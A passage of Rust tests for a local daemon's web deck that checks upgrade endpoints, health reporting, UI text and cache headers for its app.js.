6476 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
6477 let fx = Fixture::start().await;
6478 let mut beat = crate::daemon::Status::new();
6482 beat.pid = 4321;
6483 beat.updated_at = jiff::Timestamp::now();
6484 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6485 .expect("publish a heartbeat");
6486
6487 let res = fx.post("/api/upgrade", None).await;
6488 assert_eq!(res.status, 409);
6489 let err = res.json()["error"].as_str().unwrap().to_owned();
6490 assert!(err.contains("4321"), "the refusal names the owner: {err}");
6491 assert!(err.contains("old one against the same queue"), "{err}");
6492 }
6493
6494 #[tokio::test]
6495 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
6496 let repo = TempDir::new().expect("repo dir");
6512 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
6513 .expect("write magi.toml");
6514 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
6515
6516 let res = fx.post("/api/upgrade", None).await;
6522 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
6523 let body = res.json();
6524 assert!(body["to"].is_null(), "there was no release to move to");
6525 assert!(body["parked"].is_null(), "and nothing was parked");
6526 assert!(
6527 body["detail"]
6528 .as_str()
6529 .unwrap()
6530 .contains("nothing restarted"),
6531 "{body:?}"
6532 );
6533 }
6534
6535 #[tokio::test]
6536 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
6537 let repo = TempDir::new().expect("repo dir");
6542 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
6543 .expect("write magi.toml");
6544 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
6545
6546 let health = fx.get("/api/health").await.json();
6547 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
6548 assert_eq!(
6549 health["update"]["available"], false,
6550 "checking is off, which reads as \"unknown\", not \"none\""
6551 );
6552 assert!(health["update"]["to"].is_null());
6553 assert!(
6554 health["upgrade"].is_null(),
6555 "nothing has ever asked this deck to upgrade"
6556 );
6557 }
6558
6559 #[tokio::test]
6560 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
6561 let fx = Fixture::start().await;
6562 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
6563
6564 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6565 progress.parked_run = Some("20260905-000000-cd51".to_owned());
6566 progress.advance(crate::updater::Stage::Parking);
6567 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
6568
6569 let health = fx.get("/api/health").await.json();
6570 assert_eq!(health["upgrade"]["stage"], "parking");
6571 assert_eq!(health["upgrade"]["from"], "0.5.1");
6572 assert_eq!(health["upgrade"]["to"], "0.5.2");
6573 let waiting_on = health["upgrade"]["waiting_on"]
6574 .as_str()
6575 .expect("waiting_on is set while parking a known run");
6576 assert!(waiting_on.contains("cd51"), "{waiting_on}");
6577 assert!(waiting_on.contains("implementing"), "{waiting_on}");
6578 }
6579
6580 #[tokio::test]
6581 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
6582 let fx = Fixture::start().await;
6583 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6584 progress.advance(crate::updater::Stage::Done);
6585 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
6586
6587 let health = fx.get("/api/health").await.json();
6588 assert_eq!(health["upgrade"]["stage"], "done");
6589 assert!(
6590 health["upgrade"]["waiting_on"].is_null(),
6591 "nothing to wait on once it is done"
6592 );
6593 }
6594
6595 #[tokio::test]
6596 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
6597 let home = TempDir::new().expect("temp home");
6598 let runs = home.path().join("runs");
6599 std::fs::create_dir_all(&runs).expect("runs dir");
6600 let ui = Ui::new(
6601 Queue::at(home.path().join("queue")),
6602 Questions::at(home.path().join("questions")),
6603 Chats::at(home.path().join("chats")),
6604 Talks::at(home.path().join("talks")),
6605 runs,
6606 home.path().to_path_buf(),
6607 PathBuf::from("/repo/magi"),
6608 )
6609 .with_launch(launch_idle);
6610 let looping = ui.looping();
6611 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6612 .await
6613 .expect("bind loopback");
6614 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6615
6616 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6617 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
6618
6619 hand_over(home.path(), &looping, served, || Ok(()))
6620 .await
6621 .expect("hand over");
6622
6623 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
6624 assert_eq!(
6625 after.stage,
6626 crate::updater::Stage::Restarting,
6627 "hand_over owns the record through parking and up to restarting; \
6628 the successor is what finishes it"
6629 );
6630 }
6631
6632 #[test]
6633 fn the_upgrade_button_arms_before_it_restarts_anything() {
6634 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
6637 assert!(APP_JS.contains("Replace the binary and restart?"));
6638 assert!(APP_JS.contains("function confirmed("));
6639 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
6644 assert!(
6648 APP_JS.contains("Parking, then restarting"),
6649 "the button says what it is waiting for"
6650 );
6651 assert!(APP_JS.contains("if (!out.to)"));
6654 }
6655
6656 #[test]
6657 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
6658 assert!(
6659 APP_JS.contains("state.health.version"),
6660 "the operator wants to know what is running even with nothing newer"
6661 );
6662 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
6663 }
6664
6665 #[test]
6666 fn the_upgrade_button_names_its_destination() {
6667 assert!(
6668 APP_JS.contains("`Update to ${update.to}`"),
6669 "pressing the button should not be a surprise about what it moves to"
6670 );
6671 }
6672
6673 #[test]
6674 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
6675 for stage in ["downloading", "replaced", "parking", "restarting"] {
6676 assert!(
6677 APP_JS.contains(&format!("\"{stage}\"")),
6678 "the phone must be able to tell {stage} apart from the others"
6679 );
6680 }
6681 assert!(APP_JS.contains(".waiting_on"));
6682 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
6687 assert!(APP_JS.contains("reconnects on its own"));
6688 }
6689
6690 #[test]
6691 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
6692 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
6701 ..APP_JS.find("function upgrade(").expect("upgrade")];
6702 assert!(
6703 !body.contains(
6704 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
6705 ),
6706 "a failed upgrade must not take the whole strip over the way it used to"
6707 );
6708 assert!(
6709 body.contains("upgradeFailNote"),
6710 "the failure has to reach the loop's own note instead"
6711 );
6712 assert_eq!(
6716 body.matches("upgradeFailNote].filter(Boolean).join")
6717 .count(),
6718 2,
6719 "both loop-why writers (quiet and control) must fold the note in"
6720 );
6721 }
6722
6723 #[test]
6724 fn an_overdue_upgrade_eventually_asks_for_a_human() {
6725 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
6728 assert!(APP_JS.contains("function upgradeOverdue("));
6729 }
6730
6731 #[test]
6732 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
6733 assert!(
6734 APP_JS.contains("Updated to ${upgradeInfo.to"),
6735 "the operator who asked for the restart wants to know it worked"
6736 );
6737 }
6738
6739 #[test]
6740 fn an_error_is_visible_from_where_the_button_is() {
6741 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
6746 ..APP_CSS.find(".alert-text").expect(".alert-text")];
6747 assert!(
6748 alert.contains("position: fixed"),
6749 "an error about the thing under your thumb has to be visible from \
6750 where your thumb is: {alert}"
6751 );
6752 assert!(
6753 alert.contains("z-index: 25"),
6754 "above the dock (20) and the run-actions FAB (15), so neither \
6755 buries it: {alert}"
6756 );
6757 assert!(
6758 alert.contains("var(--tap)"),
6759 "and clear of the dock and the home indicator: {alert}"
6760 );
6761 assert!(
6764 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
6765 "the FAB's column stays free: {alert}"
6766 );
6767 }
6768
6769 #[tokio::test]
6770 async fn an_older_attempt_says_what_replaced_it() {
6771 let fx = Fixture::start().await;
6772 let q = fx.queue();
6773 let runs = fx.runs();
6774 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
6775 write_run(&runs, first, RunStatus::Stalled);
6776 write_run(&runs, second, RunStatus::Blocked);
6777
6778 let mut t = Task::new(
6779 "one task".to_owned(),
6780 "do it".to_owned(),
6781 PathBuf::from("/repo"),
6782 Source::Human,
6783 );
6784 t.runs = vec![first.to_owned(), second.to_owned()];
6785 q.put(&mut t).expect("put");
6786
6787 let rows = fx.get("/api/runs").await.json();
6791 let by = |short: &str| -> Value {
6792 rows.as_array()
6793 .unwrap()
6794 .iter()
6795 .find(|r| r["short"] == short)
6796 .cloned()
6797 .unwrap_or(Value::Null)
6798 };
6799 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
6800 assert!(
6801 by("bbbb")["superseded_by"].is_null(),
6802 "the latest attempt is not superseded by anything"
6803 );
6804 assert!(APP_JS.contains("run.superseded_by"));
6806 assert!(APP_JS.contains("Superseded by"));
6807 }
6808
6809 #[tokio::test]
6810 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
6811 let fx = Fixture::start().await;
6812 let js = fx.get("/app.js").await;
6818 assert_eq!(js.status, 200);
6819 let tag = js
6820 .header("etag")
6821 .expect("an etag to revalidate against")
6822 .to_owned();
6823 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
6824 assert_eq!(
6825 js.header("cache-control"),
6826 Some("no-cache, must-revalidate"),
6827 "the phone has to ask every time"
6828 );
6829
6830 let again = fx
6833 .get_with("/app.js", &[("if-none-match", tag.as_str())])
6834 .await;
6835 assert_eq!(
6836 again.status, 304,
6837 "a deck it already has costs one round trip"
6838 );
6839 assert!(again.body.is_empty(), "304 carries no body");
6840
6841 let weak = fx
6844 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
6845 .await;
6846 assert_eq!(weak.status, 304);
6847 let stale = fx
6848 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
6849 .await;
6850 assert_eq!(stale.status, 200, "an older build must be replaced");
6851 assert!(stale.body.contains("renderRunActions"));
6852 }
6853
6854 #[test]
6855 fn the_deck_never_sends_the_operator_to_a_terminal() {
6856 assert!(
6859 !APP_JS.contains("Run `magi fold` first"),
6860 "the deck must offer the fold, not prescribe a shell command"
6861 );
6862 assert!(APP_JS.contains("foldRun:"));
6863 assert!(APP_JS.contains("resumeRun:"));
6864 assert!(APP_JS.contains("renderRunActions"));
6865
6866 assert!(APP_JS.contains("armedFold"));
6868 assert!(APP_JS.contains("Yes, fold worktrees"));
6869
6870 assert!(APP_JS.contains("can no longer be resumed"));
6873 }
6874
6875 #[test]
6876 fn a_finished_run_explains_itself_with_its_own_last_line() {
6877 assert!(
6883 !APP_JS.contains("collapsed on agent quota"),
6884 "a stall must not be explained by a cause the deck did not check"
6885 );
6886 assert!(
6887 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
6888 "and a block must not offer a guess with an `or` in it"
6889 );
6890
6891 assert!(
6895 APP_JS.contains("setText(r.event, run.event || \"\")"),
6896 "the run's last line is rendered unconditionally"
6897 );
6898 assert!(
6899 !APP_JS.contains("moving && run.event"),
6900 "and never gated on the run still moving"
6901 );
6902
6903 assert!(APP_JS.contains("lost to quota"));
6905 }
6906}